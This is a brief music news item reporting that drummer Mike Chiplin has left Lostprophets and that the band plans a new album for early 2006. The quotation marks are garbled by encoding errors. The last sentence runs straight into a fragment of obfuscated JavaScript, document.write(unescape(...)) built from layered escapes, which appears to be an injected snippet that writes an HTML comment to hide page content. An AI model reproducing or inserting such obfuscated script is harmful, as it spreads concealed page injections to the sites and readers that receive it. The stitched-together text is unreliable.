Lostprophets
have parted ways with their drummer.
Mike Chiplin has left the group to “pursue other musical opportunitiesâ€.
A statement from the band read: “Lostprophets regret to announce the departure of drummer and founding member Mike Chiplin from the band.â€
They added: “As the lads have all grown up together, the departure is an amicable one with Mike leaving to pursue other musical opportunities."
The band are currently working on the follow-up to 2004's 'Start Something' and plan to begin recording the new LP in the near future, with a view for a early 2006 release.document.write(unescape('\04564%6F%63um\145%6Et.%77r%69t\145\04528u%6E\04565s\04563ap\04565\04528\047\045253C%21%5C0\0645\062D%252D\047)\051;